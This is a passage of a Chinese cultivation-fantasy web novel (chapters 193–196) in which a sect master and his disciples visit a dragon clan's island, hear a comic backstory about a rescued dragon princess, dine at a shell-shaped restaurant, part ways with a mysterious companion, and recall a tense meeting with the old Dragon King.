“嗯,最外边是普通平民的,往里面的就是有点势力的或者有钱的,最里面就是我们龙族的。”慕轻轻眨了眨眼,随后拿出个牌子在他们面前晃了晃,“一般情况下,人类修士只能到达中层,不过你们有我在,可以去到最里层呢。” “不愧是轻轻!”先夸出口的是胡长乐,她一副抱到大腿的快乐,如果有尾巴,她一定摇得很欢。 “轻轻好厉害!”石泽竹也一样跟着欢呼出声,他也眼睛亮亮地看着慕轻轻。 慕轻轻看了他们一眼,莫名的有一种大狗小狗的既视感,她笑了笑就熟练地带着他们往里头走去。 “其实我平时都是飞回去的,但是由于你们第一次来,我就带你们在这里逛逛好了。”慕轻轻走着走着,突然想起什么,转头看了秦兰时一眼,“说起来,秦师叔有来过这里吗?” “…没有,我没有来过。”秦兰时这么回答道。 “这样啊,我还以为你会来我们这里呢,因为我们这边应该比别处要好玩才对啊。”慕轻轻没有丝毫怀疑地转过头去,继续和胡长乐和石泽竹介绍起这里的有趣来。 而此时此刻的唐山玉偏过头去,看了一眼秦兰时,“真没来过?” “没有。”这次秦兰时回答得就很果断了。 “…这样啊。”唐山玉没有再问下去了,然后,他转了个身子,走几步路,站到了谢璟旁边。 秦兰时:? 正在一边远距离听慕轻轻介绍,一边留意周围情况的谢璟突然感觉到身边多了个人,他看了过去,发现是唐山玉。 “…干什么?”谢璟看了看那边的秦兰时,平时不都是站在那头的吗?今天怎么突然转性了。 “没有干什么,就是想你了。”唐山玉对他露出温柔的笑容。 “……你什么时候才能不在这种时候想起我?”谢璟觉得身后凉凉的,这次的感觉非常明显,甚至对方毫不掩饰自己的幽怨。 “唉,什么时候家猫能够对自己彻彻底底露肚皮就好了。”唐山玉忧伤地叹了口气,“你知道的,养猫是个困难活。” “我一点都不想知道。”谢璟小心翼翼看了一眼秦兰时,发现人就那么看着他,见他回头,秦兰时的幽怨变成了温柔的威胁。 仿佛在说:你要自己离开还是我来让你离开? 离开什么? 谢璟想也不想就知道是唐山玉了,往常要是其他人可能就让开了,可是谢璟是何许人也,他本来就不是顺着人的性子,除非那个人很重要。 而在秦兰时和唐山玉之间……他是站唐山玉这边的。 再想起之前秦兰时想要把他丢下去给庄子枭的那般话,谢璟……谢璟决定好了。 只见谢璟不仅不让,还把手搭在了唐山玉的肩膀上,唐山玉看了一眼,又看了看可能在报复的谢璟,也就随他去了。 秦兰时:…… 秦兰时:QAQ “山玉,山玉,你听我说!不是我不想说!!”秦兰时连忙跑上去,站在了没有谢璟的那一边。 “那你说。”唐山玉重新看了回来。 秦兰时伸出手拍开谢璟搭上来的手,一脸认真地道,“因为那是黑历史,所以我不想说。” “什么黑历史?”唐山玉兴趣突然就上来了,“细说,我要听。” 秦兰时:…… 谢璟在旁边默默竖起了耳朵。 秦兰时瞪了在旁边的谢璟一眼,随后把谢璟往远处推了推,就拉起唐山玉的手,一副可怜巴巴的模样,“我只想说给你听。” “……懂了。”谢璟被推开,而被复仇迷住双眼的他开始造谣了,“你师父肯定在这里有桃花不想让你知道了。” 想要继续拉手的秦兰时身体一僵。 谢璟:……? 你来真的? 唐山玉:…… 哇。 走在前面嘻嘻哈哈的三人浑然不觉,不过他们那边站了一个因为听到对话而好奇往后看的任海。 任海:! 哦~ 第193章 过往 那是一个阳光灿烂的午后,突破金丹没多久的秦兰时就踏上了海上的历练,他先是享受着海风的洗礼,再是悠闲地在灵舟上钓鱼。 而作为本次历练的灵舟船长顾延清,他正在船长室里头着海域地图,才翻动几页,就被外头的喧嚣声给吵到了。 “什么事?”顾延清拿起剑走出去,他一脸严肃地看着外边的情况,“是有海盗吗?” “不是的,大师兄。”躺在阴暗处的孟江离翻了个身,蠕动了几下就开口道,“是三师兄钓上了一条龙。” “哦,钓上了龙……”顾延清松了口气,但是下一秒,他好像发现这口气松早了。 “……龙?” 孟江离蠕动回去,不再说话。 顾延清连忙往秦兰时的钓鱼地跑去,和他一起跑过去的,还有燕明华,而宋鸠呢,则是和秦兰时一起钓鱼去了。 宋鸠目睹了一切,只见那条龙半死不活地躺在地上,那黑色的鳞片在阳光下闪闪发光,他看一眼再看一眼,还是制止住自己的手。 秦兰时则是惊讶地拉了拉鱼线,发现鱼钩是勾住对方的伤口才拉上来的……嘶,那得有多痛啊? 一想到这里,秦兰时不可避免地抖了抖身躯,然后一巴掌拍在还在发呆的宋鸠脑袋上,“别看了,快点给这条龙疗伤!!” 要是钓其他物种还好,但是,这是龙啊,这可是在海上不可一世的龙啊,怎么会像条死鱼一样躺在甲板上。 要是处理不好,万一被龙族认为是他们干的怎么办? 现如今的随清宗还在成长期,所以此时此刻的秦兰时和宋鸠都莫名的紧张,而顾延清和燕明华也纷纷赶到了这里。 “如何了?”顾延清走过来,低头询问道。 “血止住了,药也上了,但是……我发现这条龙的龙角被挖去了。”宋鸠顿了顿,就往下说去,“龙角于龙族而言,是非常重要的东西,据说那是一种权利的象征,而且它现在身形小到能被钓起来,应该是处于无比虚弱的状态。” “被挖去应该很痛吧……?”秦兰时看了一眼那个伤口,就不忍再看。 “何止,龙角被挖对于龙族来说是铺天盖地的打击,也不知这条龙得罪了谁,受此毒手。”宋鸠叹了口气,随后拿出纱布仔细地给龙包扎了起来。 “这龙什么时候会醒?”秦兰时蹲下来,给宋鸠递药品。 “就这几日吧,虽然被挖了龙角,但是龙族的愈合能力还挺强的。”宋鸠接过药瓶,把药粉撒在上面。 “行,那我们就这几天轮流照看?”秦兰时觉得他们也不是什么坏人,再说了,就算他不愿意,顾延清肯定是看不下去的,与其让顾延清又一个人包揽,还不如他们主动点帮忙呢。 “我没有意见。”宋鸠最后打了个大大的蝴蝶结在包扎上。 顾延清点了点头,“就按兰时你说的办吧。” 燕明华和孟江离俩人也都没意见,总之燕明华见没什么事就打了个哈欠准备回去了,孟江离则躺在阴暗的地板上,安安静静的。 这一看就看了好些天,这天轮到了秦兰时,他哼着歌来到了房间里头,正想着查看一眼那条龙的情况的时候,发现龙龙不见了。 “龙呢?!”秦兰时掀开被子,没有找到龙,就在他着急乱看的时候,突然,一只手轻轻抓住了他的脖子,并且将他往后边的墙壁上推去。 只见一位……什么都没有穿的女子掐住他的脖子,眼眸里都是对他的警惕和杀意。 “……”秦兰时沉默地闭上眼,在心里疯狂呐喊着,与此同时,他又特别着急地开口了,“你穿上衣服啊啊啊啊啊啊!!!” “…嗯?”女子似有疑惑,不过她还是没有去穿衣服,“这里是哪里,你是谁?” “这里是我们随清宗的灵舟,我是随清宗的弟子秦兰时,姑娘,你快穿衣服吧!!”秦兰时如实回答她的问题,他整个人就像一条被拎起来的咸鱼,动都不敢动。 “随清宗……?没听说过。”女子晃了晃脑袋,她感觉到自己身上的伤口被人精心包扎过了,顿时,她的面容难得柔和了几分,“是你救了我吗?” “…算,是吧?”钓起来的算不算?不管了,先算再说。 “原来如此……”女子的声音突然温柔起来,“我会报答公子的救命之恩的,所以,你将会是我的第九十九位夫君,你可以随我一起去龙宫里享福。” 秦兰时:……? 什么?多少? “放心,因为你救了我,我会好好宠爱你的,绝不会让你被旁的海族欺负了去。”女子松开手,接着很是亲切地给秦兰时整理被弄乱的衣领子。 “仔细一看,秦郎君你也是风韵犹存。”女子说着,就极为风流地抚上秦兰时的脸,秦兰时感觉到后小心翼翼到睁开眼,然后他可以看到这个女子眼里要把自己扒光的决心。 “…大……大师兄!!!!!”头一次,秦兰时声嘶力竭地喊着顾延清,而顾延清听到秦兰时的呼救声,就匆匆忙忙地提剑赶来。 “兰时!发生何事!!”顾延清打开房间门,就感受到了自己师弟那亲切的抱抱,只见秦兰时特别害怕地抱住自己,随后挪了一下身子,让自己去面对那个什么都没有穿的姑娘。 顾延清:…… 非礼勿视非礼勿视。 顾延清连忙偏过头去,清咳了一声,“顾某这里有些衣裳,可供姑娘换上。” “哦?你们还是师兄弟呀?”那女子闻言有些惊讶,“我还以为这小灵舟就秦郎君一人呢,不过……” “既然顾郎君你也救了我,那么便是我的第一百位夫君了,真好,我喜欢一百这个数字。”女子笑起来了,她看上去很高兴,并且还往前凑去,“你们师兄弟二人,我都不会辜负的,放心,我对恩人一向很好的。” 顾延清:……⊙_⊙ 秦兰时:……QAQ 你不要过来啊啊啊啊!!! …… “噗。”先忍不住笑出声的是唐山玉,而讲黑历史的秦兰时则站在旁边,很是幽怨地看着这个幸灾乐祸的小混蛋。 “笑什么啊,听到师父我那么吃瘪很好笑吗?”秦兰时看到唐山玉这个模样,真想狠狠在人身上咬一口,不过他忍住了。 “没什么,我只是……”唐山玉默默忍住笑意,清了清嗓子,“一般情况下,我是不会笑的。” “除非,我忍不住…哈哈……”唐山玉偏过头去,留给秦兰时一个憋笑的后脑勺。 而谢璟站在旁边,他依旧冷着一张脸,但是嘴角处的抽搐足以看出他的心情并不平静。 对不起,师父,他想先笑一会。 谢璟在心里和顾延清道个歉后,就转了个身,捂住嘴巴,努力让自己的笑声不要泄露出来。 秦兰时抬头看着天空,天空很蓝,而与此同时,他还听到了忍笑的声音在前面响起,定眼看去,原来是任海那厮。 也是,修为高的人,早就将他们之间的对话听了个一清二楚了。 “……你不许笑。”秦兰时头一次对任海释放出浓浓的杀意,“憋着。” 任海:…… 好咯,憋着就憋着呗。 知道你凶了。 “所以呢,后边又发生了什么?”唐山玉笑够了,就继续好奇接下来的发展了。 “后边的话……”还没等秦兰时说完,只见天空一声响,一条龙闪亮登场,这条龙直直地往慕轻轻所在地扑去。 而那庞大的龙躯渐渐变成了一位女子,那女子笑嘻嘻地抱住了慕轻轻的脖子,很是亲热地凑上去贴贴慕轻轻的脸蛋。 “轻轻~~你终于回来啦~”女子的声音很大,在场的所有人都能听个一清二楚,而细看一眼,这女子的身形比慕轻轻还要低一个头。 个子矮矮的,但是力量却是无穷无尽的。 “…二姐。”慕轻轻任由人贴着,并且还喊了一声,“这样子,好热。” “怎么了,是不欢迎二姐了吗?二姐明明想着轻轻能够回来第一眼看到的是我呢。”这位二姐显然很是受伤,她双腿在空中蹬了几下,就垂了下来。 “我这次带了朋友回来。”慕轻轻没有理会这番话,而是指向了她的伙伴们,“二姐你看,就是他们,他们第一次来,我当然要好好招待他们啦~” “哦?”这位二姐看了过去,她扫视了一遍这几位慕轻轻朋友,在看到秦兰时的时候,她微微一愣,而秦兰时自然也没有错过她眼里的……熟悉的要把他扒光的眼神。 “呀!这不是秦郎君吗?我想死你啦——”说完,只见她一个弹跳过去,特别开心地扑在了秦……不,唐山玉身上。 原来是秦兰时疯狂地往后退的时候,唐山玉走上前去挡住了这个二皇女扑向秦兰时的道路,并且被迫顶上了这个位置。 只见这龙族二皇女勾住了唐山玉的脖子,咦了一声,不过她细细看了一眼唐山玉的脸,再对比一下站在唐山玉旁边的谢璟。 就选择扑谢璟的身上了。 谢璟修为不及她,自然被扑了个彻底,而龙族二皇女心满意足地和美人贴贴后,心情很好地道:“还是这个更好看~” 头一次庆幸自己没谢璟那么好看的唐山玉暗地里松了一口气,随后用那种你辛苦了的眼神看向谢璟。 而秦兰时本来在看到唐山玉被扑到的时候就想要上前一步的,但是在发现看脸的龙族二皇女扭头就选择了更好看的谢璟后,他就默默停住了往前走的脚步。 ……哎呀,良心有点痛呢。 下次对谢璟好点吧。 谢璟:…… 最近他走的是烂桃花运吗? 他可以不走吗? 第194章 大贝壳 在众人一起走进里层的时候,二皇女还在贴着谢璟,她是如此的爱不释手,谢璟的表情逐渐麻木,而其他人则用怜悯的目光看着谢璟,但是不包括慕轻轻。 而慕轻轻则是露出一副看好戏的表情,甚至还轻飘飘地提了一句,“没想到二姐那么喜欢谢璟啊,那么你要给谢璟什么样的份位呢?” “这个嘛……”二皇女稍微思考了一下,随后非常快乐地继续搂着谢璟的脖子,“看在小妹的份上,不如封个妃位?” “哇,那么高吗?那你的那些妃子们不会有意见吗?”慕轻轻惊呼了一声,随后观察了一下二皇女的神情。 “因为谢弟弟实在美丽,他们能够理解我的~”说着,二皇女看着就要凑过去亲一口谢璟的脸蛋,想要把流氓耍到极致,可谢璟实在是忍不了了,直接推开她,随后飞速地躲到了唐山玉的后面。 “挡着。”谢璟按住唐山玉的肩膀,然后悄声凑在唐山玉耳边述说着他那威胁的话语,“你再不帮我,你每天晚上和秦师叔睡觉的时候,我就过来找你睡觉。” “就算你们在干点别的我也过来。” 唐山玉:? 站在旁边听得一清二楚的秦兰时:? 谢璟原来有那么猛,那么不要脸吗? 他们还是第一次见识到这样的谢璟。 “这样就只能野……”秦兰时反倒是不惧,正打算迎难而上的时候,被唐山玉一把捂住了嘴巴。 “好了,我知道了。”唐山玉头一次被明晃晃地威胁到了,他真的怕破防的谢璟做出这种事情来,虽然秦兰时看上去毫无畏惧的样子。 “咳咳咳,二…殿下?”唐山玉捂住秦兰时那惹祸的嘴后,就转头对着二皇女笑道,“非常抱歉,我们谢璟志不在此,还请您另寻他人吧?” “哎呀小郎君瞧着也是个可人儿,不过并不是我的菜呢,真是可惜呀。”二皇女幽幽地叹了口气,抚着脸,偏头看着唐山玉,“不过,谢弟弟~你真的不喜欢我吗?” “不喜欢。”谢璟往后躲了躲。 “真的不……”二皇女似乎还想再接再厉,不过在一边的慕轻轻出声打断了她的话。 “二姐,好了,我们该好好招待客人了,我们龙族不是和随清宗有合作吗?就这样怠慢客人不太好吧?”慕轻轻见这热闹开得也差不多了,再继续看下去就不礼貌了。 “哎呀,说得也是。”二皇女看了慕轻轻一眼,就笑眯眯地继续冲着谢璟看,看起来谢璟在某种地方非常符合她的心意,随后对他来了个飞吻,“那么,我就先走了哦,谢弟弟,有任何想法可以找我呢~” 这个飞吻被谢璟推出来的唐山玉一手拍开了,唐山玉依旧笑着,面色不改地回答道,“下次也不一定。” “对啦,我叫慕流月,你们是小妹的朋友,咱们之间的称呼可以随意些哦~”慕流月简单介绍了一下自己后,就一蹦一跳地往龙宫的方向跑去,一边跑一边挥手,“你们肯定要在外边玩会,回来记得和我说一声哦~” “…总算走了,抱歉啊,二姐她平时就这样,你们无视她就好了,她没有兴趣就会走了。”慕轻轻看着人离开的方向叹了口气,随后转头对伙伴们笑道,“比如,她比较喜欢横刀夺爱,强取豪夺,你们反抗越激烈,她就越兴奋的。” 有家室的俩人:…… 反抗激烈的某人:…… 因为不够好看所以被慕流月无视的三人:…… “轻轻,我们接下来要去哪里玩呀?”胡长乐终于敢说话了,刚才那种氛围,她都不敢开口。 “嗯,这里我就比较熟悉了,先带你们去我经常吃饭的地方吧~”慕轻轻想了想自己平时在这里都玩什么,想好后就给他们指了个方向,“就在那里~” 众人顺着她所指的方向看去,发现那里有一个大大的贝壳,而贝壳里正不断地吐出气泡……气泡? “那不是单纯的气泡,其实是房间哦?”慕轻轻那么说着,就笑嘻嘻地带着人往那边走去,路上遇到不少螃蟹怪,龙虾怪在派传单,接过去一看,发现是卖房的。 总之,他们就来到了这个大贝壳面前,按照现代人的眼光,这有点像个大剧院,贝壳的中央是戏台子,上面似乎正在举行着表演,而那些气泡并不是透明的,很好地保护了客人们的隐私,而且还各有各的的颜色。 而除了漂浮的气泡外,底下有不少露天的桌椅,这里显然是没那么多钱人吃饭的位置。 “你们想要什么颜色的房间?”慕轻轻非常大气的拿出金牌子,浑身上下透露着她是这个地方尊贵的VIP会员的味道。 “我要五彩斑斓的黑。”秦兰时站出来自信一笑。 “…啊?”慕轻轻什么颜色没有听过,但是这个五彩斑斓的黑她是真的没有听过。 “轻轻,别管他,就点你经常点的吧。”唐山玉将自信的秦兰时往旁边一推,随后对慕轻轻温和一笑。 “哦,好的。” 然后,他们就坐着金光闪闪的气泡飞到了最高处,这里视野很好,气泡内部四周的一切都是透明的,非常符合不恐高的修仙人。 “随便点,我有钱。”慕轻轻这句话一落下,所有人都亲切地吻上了菜单。 “我要这个,还有这个!”胡长乐看着一个红色的章鱼冻和一个海椒炒饭,兴趣盎然地道。 “我,我想要这个。”石泽竹看着那个据说可以抱着啃的大海果,就抬手擦了擦嘴角边还没有流下的口水。 “……这里还有章鱼小丸子?”唐山玉也在看菜单,突然发现了一个眼熟的菜名。 “这个啊,据说是某个修士留下来的菜谱,而且还挺好吃的,而且不只是章鱼小丸子,我们还开发了水母小丸子,菜鱼小丸子……”慕轻轻看了一眼那菜单,笑着解释道。 “嗯,师父,你有想要吃的吗?”唐山玉闻言就没有多在这个话题上停留,而是转手把菜单递给了旁边的秦兰时。 “…这个啊,没什么特别想吃的。”秦兰时看了一眼菜单,然后递了回去,“山玉想吃什么?” “…嗯,海鲜其实我已经吃腻了。”唐山玉发现大家其实对于海鲜什么的好像已经不感兴趣了,而他也是如此,不过当地有当地的特色,或许做法会不一样呢。 任海似乎也兴趣不大,一副你们随意的模样。 而谢璟,他本就口腹之欲不强,所以他一句都行,就堵了所有人询问的嘴 “那我点几道特色?”慕轻轻见就胡长乐和石泽竹点了,所以就那么问向了其他人。 “你来吧。”唐山玉把菜单递过去,而慕轻轻接过菜单后,就熟练地点了几道菜。 很快,饭就上来了,大伙们纷纷动起了筷子,这边吃一口,那边吃几口,慕轻轻的品味那是不用说,大家都觉得这顿饭吃得很愉快。 “接下来好像有鲛人表演。”慕轻轻看了看节目单,就转头看向了下边的戏台。 “我听说鲛人唱歌很好听。”没有听过鲛人唱歌的胡长乐非常好奇地探头看过去。 “确实不错,如果非要用一个词形容鲛人的歌声。”慕轻轻欣然点头应道,“那么,就是美梦。” “是会让听到的人做梦吗?”唐山玉有些好奇这个词的意思,因为他没有听过。 “差不多吧,因为这个歌声会有致幻的作用,不过放心好了,鲛人可以控制致幻效果的,我们是来听歌,不是来做梦的。”慕轻轻挥了挥手,很是惬意地将身子往后一躺,靠在软软的海绵椅子上。 “不过鲛人的歌声也是用来抒发他们的情感的,如果情感过于强烈,悲伤的歌声会让人想要流泪。”谢璟喝着茶,觉得生活好安详,他好想就这样安详下去啊。 “你哭了?”唐山市用手臂怼了怼喝茶的谢璟。 “怎么可能?”谢璟摇了摇头,放下茶杯,非常冷漠地回答道,“那不是我的悲伤,恕我不能感同身受。” 秦兰时在旁边悄咪咪拉住唐山玉的手,他感受到唐山玉的回握后,就心满意足地将身子靠在了唐山玉的肩膀上。 “…那这种歌声还是不要听到比较好。”石泽竹也没有听过鲛人的歌声,但是他见不得他人受苦。 任海没有说话,只是把视线投向了下边出场的鲛人,他就那么看着,握紧了手里的茶杯。 很快,鲛人穿着美丽的纱裙出场,她坐在贝壳里,懒洋洋地伸了个腰,嗓音未唱就已经能够听到里头的动人音色。 “很久很久以前……” “一直沉睡在深海里的眼睛,睁开眼……” 第195章 任海离队 你听说过深海里的眼睛吗? 那双眼睛有着耀眼的金色,它像极了深海里的太阳,就那么注视着万物千年万年。 鱼儿害怕它,可又渴望它。 因为它是是如此灿烂,那是处于深海里的它们,最为渴求的光明。 如果有一天,这份金色消散了,那么它们便会重新留在黑暗里,还是因此获得了勇气,为了去追寻着它,来到海面上,去直视真正的太阳。 “这歌词里还有故事呢?”唐山玉听着听着,随后拿起旁边的茶杯喝了一口,“不得不说,真不愧是鲛人,就算是不懂音乐的人,都能够听出其中的美丽。” “是啊,里面的金色眼睛。”慕轻轻微微眨了眨眼,与歌词里那般灿烂的骄阳就那么显示在她的双眸里,“是指我们龙族哦~” “所以整首歌是在唱你们的丰功伟绩?”谢璟欲望不是很强,但是也跟着附和了一句,“你们龙族自比为深海太阳,倒是符合你们的个性。” “是,也不是。”慕轻轻竖起一根手指晃了晃,“其实里头的故事是说,龙族不仅仅是深海里的太阳,也是最先接触太阳并且带领海族站到太阳下的。” “哦,你是说那个传说吗?”任海突然笑了一声,身子微微往后仰去,“据说龙族是最先被天道注视的海族?” “嗯,是那么说的。”虽然不知道为什么任海突然笑了,但是出于某种礼貌,慕轻轻还是礼貌回应了,“怎么了,你有不同的见解?” “没有。”任海耸了耸肩,不过他的话语里头似有旁的意思,“只不过,凡事都有代价 就算是你们龙族也是如此。” “…你什么意思?”慕轻轻从一开始就觉得这个任海对龙族的态度特别的奇怪,要说对她不好吧,又不是,但是对于龙族,任海又表现得有那么一丝不悦,是那种时不时都要呛声的不悦。 “字面上的意思。”任海看起来不想多言,“如果让你不安了,是我的错,因为这是我的本意。” 慕轻轻:? “接下来除了鲛人唱歌还有旁的节目吗?”在慕轻轻想要发作的时候,秦兰时开口打断了俩人的对话,“哦,说起来,任道友,你的目的地到了吗?” “托你们的福,我已经到了。”任海闻言笑了笑,“这一路上任某与诸位相处得很是愉快,我们不如就在这顿饭结束后分道扬镳如何?” “我当然没什么意见。”秦兰时摇了摇头,随后瞥了一眼任海,“不知任道友此次来卧吟岛所谓何事?” “我们是这般亲密的关系吗?”任海显然有些意外,他的眼睛微微瞪大了一点,随后他便爽朗一笑,“是为公事,恕我不能多言。” “那么便祝任道友此行前去一帆风顺了。”秦兰时没有起身相送,而是偏过头去,看着下边已经下台的鲛人,而接下来上台的是水母族带来的舞蹈。 “哈哈,好,那么诸位,有缘再见!”任海站起身来拱手一礼,“说起来,我之前就想提出这件事了,不过我看各位兴致很高,就没有开口,再说了,能够蹭一顿饭也是极为不错呢。” 被蹭饭的慕轻轻:…… “那你方才又是怎么跟请客吃饭的人说话的!”慕轻轻越想越不满了,就在她拍桌而起的时候,任海就已经消失在了房间里。 “……人呢?” “走了。”秦兰时慢悠悠地拿起唐山玉的茶杯也喝一口茶。 “……所以他到底是什么人啊!”慕轻轻气呼呼的重新坐回去。 “…他?”秦兰时将手里的茶杯放下,略微思索了一下,“我也不知道,他伪装得很好,实力也很不错,当然最重要的是……他对海上的知识知道得很多,就好比那海盗的藏宝图……” “师父的意思是,他曾经和海盗有些关系?”唐山玉把自己的茶杯拿走,发现里头的茶被人喝了个一干二净,他沉默了一下选择给自己重新倒一杯。 “应该是有点关系,只不过我对海上的事情了解也不多,我多年没有来这里了。”秦兰时叹了口气,随后给这些小辈提个醒,“不管你们对他的感觉有多少,认为他是好人也好,坏人也罢,至少要保持着基本的警惕心。” “…那为什么要让他上我们的灵舟?”胡长乐在旁边举起手,一副好学生虚心请教的模样。 “难道不是因为他做饭好吃吗?”石泽竹舔了舔嘴角,想起那美味的饭菜。 秦兰时:…… 他的脸上出现了来自的长辈的怜悯。 “嗯,他做饭的确好吃……但是没有我们的青莲剑尊做饭好吃啊!!”唐山玉说着说着就感受到了旁边那强烈的视线,他连忙补充了一句话就继续往下说去,“总之,就是因为他看上去好像对我们很有意思,所以我们就想着他是不是想要做什么,然后才决定好让他留下了便于观察。” “他对我们有所目的。”这句话是由谢璟说的,他想起任海对他的那种奇怪态度,再次肯定地道,“尤其是我的剑。” “你的剑,你的剑不是自那个剑冢里带出来的吗?似乎还是什么出名的神剑?”慕轻轻认真回忆了一下,然后就没有回忆出什么了,她平时对这些方面兴趣不是很大,所以就没有想要去了解。 “…是名为万古的神剑。”谢璟顿了顿,然后偏过头去看着那边的剧场,“我们要看完吗?” 显而易见的转移话题手段。 不过唐山玉倒也不急着现在就让谢璟把自己的小秘密说出来,他选择顺着谢璟的话语往下说去,“不知道,或许……轻轻,我们今晚住哪里,房间会比庄子枭那边要好吧?” “那是当然。”慕轻轻骄傲地抬了抬下巴,“那群海盗的怎么能和我们龙族的财力相提并论?我会让人给你们准备最好的房间,今晚就好好休息吧!” “不愧是轻轻!”配合一号胡长乐率先出马,开始疯狂鼓起了掌。 “…轻轻好厉害!”配合二号石泽竹慢半拍地也鼓起了掌。 得到了俩人的支持,慕轻轻内心的小得意尾巴晃了晃,不过面上她依旧是那副云淡风轻的模样,“好了,我现在就带你们去参观吧。” 众人自然没有意见,虽然少了个任海,但是他们还是其乐融融地一起前往了龙宫,龙宫建在最高层,上去的时候,他们转过身就能够看到这整片岛屿。 龙族在居住的地方也是喜欢低头看人的,真不愧是喜欢低头看人的种族。 “对了,轻轻,你家中除了今天那个二姐,还有其他兄弟姐妹吧?”唐山玉一边走着,一边随意开口问道。 “对,不过我和大哥,二姐比较亲密一点,其他家伙的话……”慕轻轻虽然在刻意隐藏了,但是其他人还是能够发现慕轻轻脸上的那种不屑,“你们其实没必要认识。” “为什么啊?”石泽竹傻乎乎地不读空气问出了声。 “…因为我对他们没有什么特别的感情啦~对啦,你们要去见见我的父王吗?”慕轻轻那么说着,视线飘到了秦兰时身上,毕竟这次领队的长老是秦兰时。 “…难得前来,自然要见上一见。”秦兰时笑着点了点头,他转头对着唐山玉他们道,“你们先和轻轻去休息吧,嗯……老龙王那边,我先去看看情况~” “秦师叔之前见过我父王吗?”慕轻轻想起了什么,有些好奇地看过去。 “…有几面之缘,但是不熟。”要说熟还是苏岭月和顾延清那两个家伙熟悉一点,他就是个旁听的。 “师父,你可以吗?”唐山玉凑过来小声地问道。 秦兰时愣了一下,随后绽开了笑颜,“山玉看起来好像对为师有点误解,虽然这样子为师也很开心啦,不过这点事情,我还是能够解决的好吧?” 说着,秦兰时上手为唐山玉拂过落下耳前的几根发丝,将其别至耳后,“山玉,我啊……” “可是你师父。” 唐山玉闻言愣了一下,随后无奈地笑着叹了口气,“对,你是我师父。” 是他担心过度了。 这情人滤镜果真吓人。 第196章 老龙王 第一次看到老龙王,是秦兰时刚过金丹没多久,那次旅途说长也不长,短也不算短,不过是将受伤的龙族二皇女送回去,再在卧吟岛里待了那么一段时间。 慕流月的龙角被挖,显然引起了老龙王的震怒,不过这是龙族的事情,与他们无关,而随清宗的他们被以礼相待后是打算就此离开的。 但是在离开的那一天,他们被龙族拦住了,那天,顾延清和秦兰时拔出了剑,燕明华抱起了琵琶,宋鸠抽出了他的药包,孟江离握紧了拳头。 “不知道龙王这般举动是有何意?”顾延清冷声将师弟师妹都护在身后,他握剑的手丝毫不带停滞地指向修为比自己要高的龙王,同时也是这片海域的主宰者。 “小友莫方,我只是想要久留小友片刻,谈些事情。”老龙王笑呵呵地抬手招人过来为随清宗的众人搬来椅子,甚至还准备了桌子放置果盘,总之他一副好好商量的模样。 “听闻你们是苏岭月的徒弟?”老龙王非常亲切地招呼秦兰时他们趁热喝口茶,但是他们不为所动。 “是。”顾延清坐得很是笔直,手上依旧握住剑柄没有松开。 “你和我们师父是旧识?”秦兰时倒是依言拿起茶水,只不过他没喝,另一只手却也是在桌底下拿着剑。 “是的,久闻你们师父大名,今日一见,该说不说,不愧是他带出来的弟子,个个人中龙凤,真是……” “大师兄,他是不是想让我们办事才这样吹捧我们?”秦兰时在底下悄咪咪地和顾延清说起了小话。 “…秦小友,我听得到。”老龙王笑容顿了一下,随后继续往下说去,“既然你们不喜欢听这些漂亮话,那我就不说了,那我直白点。” 慕流月站在老龙王边上,歪着头,低垂的眼眸看不清她到底在想些什么,而随清宗的众人也是头一次见到这家伙如此安静的模样。 而站在慕流月身边的男子,应该就是传闻中的大皇子,只不过随清宗的他们在当时和他并没有过多的接触。 那大皇子似乎感觉到了他们的目光,就看了过来,对他们礼貌地笑了笑,只不过姿态上还是有些高傲的。 “您想要什么?”顾延清观察着老龙王的神情,试图判断出对方的意图。 “哈哈,我想要的,或许你们也想要呢。”老龙王看上去依旧如此的和蔼可亲,他笑了几声,发现他们都没笑,就默默撇了一下嘴,不笑了,“我们龙族一直以来是海族的带领者,就连现在也是一样。” “听闻各位的宗门似乎还在建设中,不知可愿让我们龙族助其一力,成为天下第一宗?”老龙王笑眯眯地拍了拍桌子,等待着他们的回应。 “…此事我不能下定论,这等大事,还请陛下请直接与我师尊相论为好。”顾延清那么说着,就试探地看起老龙王的神色,发现对方脸上没有不悦。 “这是当然,放心,各位小友,我只是想问问你们,如果有我们龙族助力,是否会让诸位的宗门更上一台阶?”老龙王说着,让侍从们上前去重新沏茶。 “我们……”顾延清刚想说这种事情我们并不清楚,就被旁边的秦兰时抢先回答了。 “不需要。”秦兰时轻抬眼,就那么直直地和老龙王对视,“主从关系还是合作关系,我们还是分得很清楚的。” “…三师兄?!这种话是不是太……?”宋鸠在旁边吓得魂都要飞了。 “宋鸠,怕什么。”秦兰时笑着转过头去,抬手拍了拍宋鸠的肩膀,“就算变成泉下鬼,还有你的好师兄,也就是我陪着你呢,咱们是不会孤单的~” “…我想要的是这个吗!!!”宋鸠整个人直接吓得模糊又变色。 孟江离则在旁边安安静静地配合着秦兰时的话,拿起茶杯就往地上砸去,一道清脆的声音在这种死寂一样的氛围就那么响起来,这让宋鸠身上的颜色更淡了。 “…唉。”燕明华慢悠悠地叹了口气,她看上去似乎有些无奈,但是也纵容,“阿鸠啊,兰时他就这个性子,你就让让他吧。” “我是他师弟!!到底是谁让谁啊!!”宋鸠顿时就开始表达起自己的不满了。 “…兰时的意思就是随清宗的意思。”顾延清也只能配合着秦兰时开始演出了,他站起来,手里的剑眼看着就要出鞘了,那剑光于上方闪烁而过,“龙王,你若是想要谈合作,我们随清宗随时欢迎,但若是其他主意,就不必了。” “师父在我们出发前说过……”顾延清继续说着,又被秦兰时给打断了。 “上赶着当狗的家伙不配当随清宗的种。”秦兰时用来打断的这番话特别粗暴,这让继续说下去的顾延清声音一顿。 “…并不是,师父说了……”顾延清身子微微摇晃了一下,他想要解释得文雅一点。 “做人就要做人上人,不然就一辈子养不了狗。”一直不发话的孟江离突然就冒泡了,冒得顾延清猝不及防。 “…不,不是。”顾延清组织起来的语句已经有点稀碎了。 “…不管了!师父说了,要当养狗的人,不要当被养的狗!!”宋鸠直接自暴自弃地跟着回答了。 “…陛下,其实我们……” 燕明华……燕明华觉得这些话过于粗鲁了些,所以她选择换一种说法,“…呵,人若为狗,不如一死。” 顾延清:…… “抱歉,我们不当狗。”最后,顾延清礼貌地总结了那么一句,他已经看到上边的老龙王脸色逐渐阴沉了起来。 …完了,找个时机带着师弟师妹们溜吧。 顾延清这样想着,就把剑拔出一半了。 “哈哈哈哈哈哈!!!果真是人中龙凤,那苏岭月教得还是挺好的嘛!”突然,老龙王哈哈大笑了起来,笑得站在旁边的大皇子和二皇女默默远离了一点。 